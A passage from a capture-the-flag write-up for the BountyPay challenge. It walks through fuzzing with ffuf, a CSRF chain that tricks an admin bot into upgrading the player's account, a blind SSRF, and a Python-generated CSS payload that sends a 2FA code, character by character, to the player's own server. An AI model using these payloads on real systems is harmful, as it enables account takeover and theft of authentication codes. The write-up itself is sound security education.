# ffuf -c -u "https://staff.bountypay.h1ctf.com/?template=ticket&ticket_id=FUZZ" -w nums.txt -H "Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH" -mc all -fs 17 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1-git ________________________________________________ :: Method : GET :: URL : https://staff.bountypay.h1ctf.com/?template=ticket&ticket_id=FUZZ :: Header : Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: all :: Filter : Response size: 17 ________________________________________________ 3582 [Status: 200, Size: 4264, Words: 1143, Lines: 102]
Since all the pages were at /?template=xxx
I brute forced again to see what other templates were available.
# ffuf -c -w ~/wordlists/common.txt -u "https://staff.bountypay.h1ctf.com/?template=FUZZ" -H "Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH" -mc all -fs 0 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1-git ________________________________________________ :: Method : GET :: URL : https://staff.bountypay.h1ctf.com/?template=FUZZ :: Header : Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: all :: Filter : Response size: 0 ________________________________________________ admin [Status: 200, Size: 26, Words: 5, Lines: 1] home [Status: 200, Size: 6562, Words: 2182, Lines: 148] login [Status: 200, Size: 1348, Words: 337, Lines: 34] ticket [Status: 200, Size: 17, Words: 3, Lines: 1]
The only one that I hadn't visited was the admin template, unfortunately I couldn't access with my current session.
# curl "https://staff.bountypay.h1ctf.com/?template=admin" -H "Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH" No Access to this resource
Therefore, the objective here was probably to gain access to this template in some way.
I noticed that at the footer of every page there was a button to report the current page.
This link popped the following message.
Which generated a GET request to /admin/report?url=Lz90ZW1wbGF0ZT1ob21l
being the url
parameter the current path encoded in base64 (/?template=home
).
I went to the source code to see where was this behavior implemented and found it at /js/website.js
.
$(".upgradeToAdmin").click(function(){let t=$('input[name="username"]').val();$.get("/admin/upgrade?username="+t,function(){alert("User Upgraded to Admin")})}),$(".tab").click(function(){return $(".tab").removeClass("active"),$(this).addClass("active"),$("div.content").addClass("hidden"),$("div.content-"+$(this).attr("data-target")).removeClass("hidden"),!1}),$(".sendReport").click(function(){$.get("/admin/report?url="+url,function(){alert("Report sent to admin team")}),$("#myModal").modal("hide")}),document.location.hash.length>0&&("#tab1"===document.location.hash&&$(".tab1").trigger("click"),"#tab2"===document.location.hash&&$(".tab2").trigger("click"),"#tab3"===document.location.hash&&$(".tab3").trigger("click"),"#tab4"===document.location.hash&&$(".tab4").trigger("click"));
Prettified the code to read it better.
$(".upgradeToAdmin").click(function() { let t = $('input[name="username"]').val(); $.get("/admin/upgrade?username=" + t, function() { alert("User Upgraded to Admin") }) }), $(".tab").click(function() { return $(".tab").removeClass("active"), $(this).addClass("active"), $("div.content").addClass("hidden"), $("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1 }), $(".sendReport").click(function() { $.get("/admin/report?url=" + url, function() { alert("Report sent to admin team") }), $("#myModal").modal("hide") }), document.location.hash.length > 0 && ( "#tab1" === document.location.hash && $(".tab1").trigger("click"), "#tab2" === document.location.hash && $(".tab2").trigger("click"), "#tab3" === document.location.hash && $(".tab3").trigger("click"), "#tab4" === document.location.hash && $(".tab4").trigger("click") );
Here I saw the endpoint /admin/upgrade?username=
which I could use to upgrade my user. But as expected, I wasn't allowed to perform this action by my own.
# curl "https://staff.bountypay.h1ctf.com/admin/upgrade?username=sandra.allison" -H "Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH" ["Only admins can perform this"]
Anyways, this endpoint seemed to be vulnerable to CSRF, so I could trick an admin to visit /admin/upgrade?username=sandra.allison
and the easiest way to achieve this would probably be through the report url I saw before. Unfortunately, the message already said "Pages in the /admin directory will be ignored for security".
This was the hardest part of the CTF for me, I tried a lot of things until I found the correct way to exploit this, so I'm going to detail a bit some of those things I tried.
Bypassing the /admin restriction
The easiest way to do this would be to bypass the /admin
restriction when reporting a page so I started trying to report a lot of payloads which didn't work:
/AdMiN/upgrade?username=sandra.allison
/kk/../admin/upgrade?username=sandra.allison
//admin//upgrade?username=sandra.allison
/%61dmin%2fupgrade?username=sandra.allison
...
Blind XSS
Since I was allowed to modify my username and my avatar I tried to leave a XSS payload there if for any reason any admin would see it, but the characters I was allowed to use seemed to be pretty well filtered.
sand"ra
⭢sandra
sand<ra
⭢sandra
Server Side Template Injection
All the pages were under /template?=xx
, maybe that was a hint that I needed to exploit a SSTI vulnerability, so I tried to leave payloads ({{7*7}}
, ${7*7}
, ...
) in my username, avatar and even in the url, which was being reflected in base64 at the end of the page, but none of those worked.
Manually edit session cookie
I noticed that every time I modified my username or avatar, my session cookie was changed a bit and every time I reused a value I received the same cookie, that probably meant the user information was contained in that cookie, so maybe if I could decrypt it I could manually modify it to change my user.
profile_name=1&profile_avatar=abc
⬇⬇⬇
c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjM4c3pvUUdzaVZwTnRESG91V1dSQVFSL0RJckJuWnp1TmRZNVR0LzcxeWN6NGp6V2pWU2lBWjQ5WlVqRm9wVlBDMi9FS1c2NlE0YzBqamRPbG1PY0QyVUpDckZoeEFoRnpGdi9FVFRRSGYycFdCNTg5QWxCb0hxaSsrZE0=
---
profile_name=2&profile_avatar=abc
⬇⬇⬇
c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjMvRXpvUUdzaVZwTnRESG91V1dSQVFSL0RJckJuWnp1TmRZNVR0LzcxeWN6NGp6V2pWU2lBWjQ5WlVqRm9wVlBDMi9FS1c2NlE0YzBqamNZazJhZlZETmRXYkZqbUFrWG53cWlFelBWRTZqL1UwQXFwZ1VTb1NxaHJPZE0=
After spending some time here trying to find patterns, I finally gave up because I thought they wouldn't be so evil to put such a hard crypto challenge here.
Outdated jQuery
While I was reviewing the source code, I noticed the application was using jQuery 1.12.4 (/js/jquery.min.js
), a really outdated version of this library which was launched 4 years ago (May 20, 2016), something really strange knowing this CTF was built during the last few months.
/*! jQuery v1.12.4 | (c) jQuery Foundation | jquery.org/license */
When I face an old version of jQuery I like to use this application which tells you every known vulnerability for each available version.
Since $.get()
was being used on the source code, I thought about trying to exploit issue 2432 to force the execution my own JavaScript code, but I couldn't find a way to change the supplied url to that function.
The good one
After spending a lot of time in rabbit holes I decided to take a closer look at the /js/website.js
file where the upgrade action was defined.
$(".upgradeToAdmin").click(function() { let t = $('input[name="username"]').val(); $.get("/admin/upgrade?username=" + t, function() { alert("User Upgraded to Admin") }) }), $(".tab").click(function() { return $(".tab").removeClass("active"), $(this).addClass("active"), $("div.content").addClass("hidden"), $("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1 }), $(".sendReport").click(function() { $.get("/admin/report?url=" + url, function() { alert("Report sent to admin team") }), $("#myModal").modal("hide") }), document.location.hash.length > 0 && ( "#tab1" === document.location.hash && $(".tab1").trigger("click"), "#tab2" === document.location.hash && $(".tab2").trigger("click"), "#tab3" === document.location.hash && $(".tab3").trigger("click"), "#tab4" === document.location.hash && $(".tab4").trigger("click") );
I figured out that by reporting a url with #tab1
, I could force the admin to click elements with the class tab1
, something not really useful by itself, but what if could create an element with the class tab1
and upgradeToAdmin
? In that case, when that element was clicked, the event handler for $(".upgradeToAdmin").click
would also be triggered, executing the request to /admin/upgrade?username=
.
I found that by modifying my avatar I could reproduce this behavior, since the profile_avatar
was being reflected in a class attribute on the ticket detail page (/?template=ticket&ticket_id=3582
).
profile_name=sandra&profile_avatar=tab1 upgradeToAdmin
<div style="width: 100px;position: absolute"> <div style="margin:auto" class="avatar tab1 upgradeToAdmin"></div> <div class="text-center">sandra</div> </div>
I could now reproduce this behavior by myself by accessing to /?template=ticket&ticket_id=3582#tab1
, then a request to /admin/upgrade?username=undefined
was automatically sent.
Unfortunately, since the user being upgraded was being extracted from an input field with name username ($('input[name="username"]').val();
) and there was none on the ticket page, the upgraded user was "undefined" not sandra.allison (I tried to change my profile name to undefined but it didn't work).
By looking through all my visited pages I found one input field with name username at /?template=login
and I can even control its value from the query parameter username
like /?template=login&username=sandra.allison
.
<div class="panel-body"> <div style="margin-top:7px"><label>Username:</label></div> <div><input name="username" class="form-control" value="sandra.allison"></div> <div style="margin-top:7px"><label>Password:</label></div> <div><input name="password" type="password" class="form-control"></div> </div>
But on this template my avatar with the custom classes wasn't shown, so I couldn't trigger the click function. How could I show both templates in the same page? With arrays /?template[0]=template1&template[1]=template2
.
This way I could have the login template (where there was an input field with my username) and the ticket template (with my avatar that triggered the upgrade function) on the same page.
/?template[0]=login&username=sandra.allison&template[1]=ticket&ticket_id=3582#tab1
This resulted in an automatic request to /admin/upgrade?username=sandra.allison
, so I reported this by using the following URL:
/admin/report?url=Lz90ZW1wbGF0ZVswXT1sb2dpbiZ1c2VybmFtZT1zYW5kcmEuYWxsaXNvbiZ0ZW1wbGF0ZVsxXT10aWNrZXQmdGlja2V0X2lkPTM1ODIjdGFiMQ==
But after waiting for several minutes and trying a couple of times, for some reason it didn't work.
I was pretty sure this was the intended way so I decided to message @adamtlangley (CTF creator) just to make sure everything was working as expected and ensure no bot had died.
Query arrays also work without a number, I just had to remove them.
/?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab1
Finally I reported this via the following URL and got my user upgraded to admin.
/admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyI3RhYjE=
CSS exfiltration
I already had Brian's credentials, so I picked Marten's and tried them on app.bountypay.h1ctf.com
where I had to bypass the 2FA as I did with Brian at the beginning of the CTF.
I was presented with the same dashboard where I could consult transactions for any month/year, so I brute forced those again with Marten's session.
# ffuf -c -t 50 -w months.txt:MONTH -w years.txt:YEAR -u "https://app.bountypay.h1ctf.com/statements?month=MONTH&year=YEAR" -H "Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9" -mc all -fs 177 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1-git ________________________________________________ :: Method : GET :: URL : https://app.bountypay.h1ctf.com/statements?month=MONTH&year=YEAR :: Header : Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9 :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 50 :: Matcher : Response status: all :: Filter : Response size: 177 ________________________________________________ [Status: 200, Size: 312, Words: 3, Lines: 1] * YEAR: 2020 * MONTH: 5
Only one result which showed those bounties who needed to be paid that the initial tweet talked about.
When clicking the Pay button, the following message was shown warning that 2FA was required.
This shouldn't be a problem since I already knew how to bypass the 2FA system.
I tried again replacing the challenge
with my custom MD5 hash as I did when logging in, but by my surprise I received an error.
Looks like there was a different system behind this 2FA and another step was missing in order to finish the CTF. I started looking through all requests to see if there was something different and found that, when clicking the Send Challenge button, this strange POST request was being sent.
POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1 Host: app.bountypay.h1ctf.com Content-Type: application/x-www-form-urlencoded Content-Length: 73 Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9 app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css
I replaced www.bountypay.h1ctf.com
with my own domain, started a server and received that request.
# python server.py 3.21.98.146 - - [01/Jun/2020 20:06:16] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 20:06:16] "GET /css/uni_2fa_style.css HTTP/1.1" 404 -
I had a blind SSRF here, because nothing was reflected on the response. I tried a couple of things to escalate it to a full SSRF, but since the file being requested was a css, I imagined this had something to do with css exfiltration, a technique I have already seen in other CTFs before.
To validate this, I created the css file which the application was trying to fetch and force it to load an image from /hipotermia
if the resource was loaded.
body{background-image: url(https://hipotermia.pw/hipotermia);}
Indeed, after the css was retrieved, I received another request to /hipotermia
trying to get that image.
# python server.py 3.21.98.146 - - [01/Jun/2020 20:22:50] "GET /css/uni_2fa_style.css HTTP/1.1" 200 - 3.21.98.146 - - [01/Jun/2020 20:22:50] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 20:22:50] "GET /hipotermia HTTP/1.1" 404 -
This technique is usually used to exfiltrate data from input fields, this is because css allows to use different styles for inputs with a certain attribute or value.
I created the following python script that generated a css file containing one style for every character possible and that style requested a different resource from my domain.
chars =['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','X','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','0','-','_'] css = '' for char in chars: css += 'input[name^=' + char + ']{background-image: url(https://hipotermia.pw/' + char + ');}\n' with open('css/uni_2fa_style.css', 'w') as f: f.write(css)
After executing the script, the resulting css file looked like this.
# cat css/uni_2fa_style.css input[name^=a]{background-image: url(https://hipotermia.pw/a);} input[name^=b]{background-image: url(https://hipotermia.pw/b);} input[name^=c]{background-image: url(https://hipotermia.pw/c);} input[name^=d]{background-image: url(https://hipotermia.pw/d);} input[name^=e]{background-image: url(https://hipotermia.pw/e);} input[name^=f]{background-image: url(https://hipotermia.pw/f);} ...
I sent the POST request again and when the css was loaded, I received another request which showed me the first letter from the input field (c
).
# python server.py 3.21.98.146 - - [01/Jun/2020 20:40:54] "GET /css/uni_2fa_style.css HTTP/1.1" 200 - 3.21.98.146 - - [01/Jun/2020 20:40:54] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 20:40:54] "GET /c HTTP/1.1" 404 -
Then, I just added that letter to the python script to generate new entries for the css file until I got the full name.
I already had extracted code_
from the input name when I received the following requests on the next iteration.
# python server.py 3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /css/uni_2fa_style.css HTTP/1.1" 200 - 3.21.98.146 - - [01/Jun/2020 20:47:15] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /7 HTTP/1.1" 404 - 3.21.98.146 - - [01/Jun/2020 20:47:15] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /1 HTTP/1.1" 404 - 3.21.98.146 - - [01/Jun/2020 20:47:15] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /2 HTTP/1.1" 404 - 3.21.98.146 - - [01/Jun/2020 20:47:15] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /3 HTTP/1.1" 404 - 3.21.98.146 - - [01/Jun/2020 20:47:15] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /4 HTTP/1.1" 404 - 3.21.98.146 - - [01/Jun/2020 20:47:15] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /5 HTTP/1.1" 404 - 3.21.98.146 - - [01/Jun/2020 20:47:15] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 20:47:15] "GET /6 HTTP/1.1" 404 -
This meant that there were 7 different input fields code_1
, code_2
, ...
, code_7
. I assumed every one of those inputs had the correspondent character from the 2FA token.
I modified my python script to generate combinations of values for every one of those 7 input fields.
chars =['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','X','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','0','-','_'] css = '' for i in range(1,8): for char in chars: css += 'input[name^=code_' + str(i) + '][value^=' + char + ']{background-image: url(https://hipotermia.pw/' + str(i) + char + ');}\n' with open('css/uni_2fa_style.css', 'w') as f: f.write(css)
This resulted in the following css file.
# cat css/uni_2fa_style.css input[name^=code_1][value^=a]{background-image: url(https://hipotermia.pw:4443/1a);} input[name^=code_1][value^=b]{background-image: url(https://hipotermia.pw:4443/1b);} input[name^=code_1][value^=c]{background-image: url(https://hipotermia.pw:4443/1c);} ... input[name^=code_2][value^=a]{background-image: url(https://hipotermia.pw:4443/2a);} input[name^=code_2][value^=b]{background-image: url(https://hipotermia.pw:4443/2b);} input[name^=code_2][value^=c]{background-image: url(https://hipotermia.pw:4443/2c);} ... input[name^=code_7][value^=0]{background-image: url(https://hipotermia.pw:4443/70);} input[name^=code_7][value^=-]{background-image: url(https://hipotermia.pw:4443/7-);} input[name^=code_7][value^=_]{background-image: url(https://hipotermia.pw:4443/7_);}
I requested the challenge code one last time and received 7 different requests, one for every input field.
# python server.py 3.21.98.146 - - [01/Jun/2020 21:01:23] "GET /css/uni_2fa_style.css HTTP/1.1" 200 - 3.21.98.146 - - [01/Jun/2020 21:01:23] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 21:01:23] "GET /7m HTTP/1.1" 404 - 3.21.98.146 - - [01/Jun/2020 21:01:23] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 21:01:23] "GET /1j HTTP/1.1" 404 - 3.21.98.146 - - [01/Jun/2020 21:01:23] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 21:01:23] "GET /2m HTTP/1.1" 404 - 3.21.98.146 - - [01/Jun/2020 21:01:23] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 21:01:23] "GET /3F HTTP/1.1" 404 - 3.21.98.146 - - [01/Jun/2020 21:01:23] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 21:01:23] "GET /4O HTTP/1.1" 404 - 3.21.98.146 - - [01/Jun/2020 21:01:23] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 21:01:23] "GET /5G HTTP/1.1" 404 - 3.21.98.146 - - [01/Jun/2020 21:01:24] code 404, message File not found 3.21.98.146 - - [01/Jun/2020 21:01:24] "GET /6N HTTP/1.1" 404 -
I just needed to sort those characters by its code number to get the 2FA code (jmFOGNm
).
I introduced it and was I finally redirected to the end of the CTF.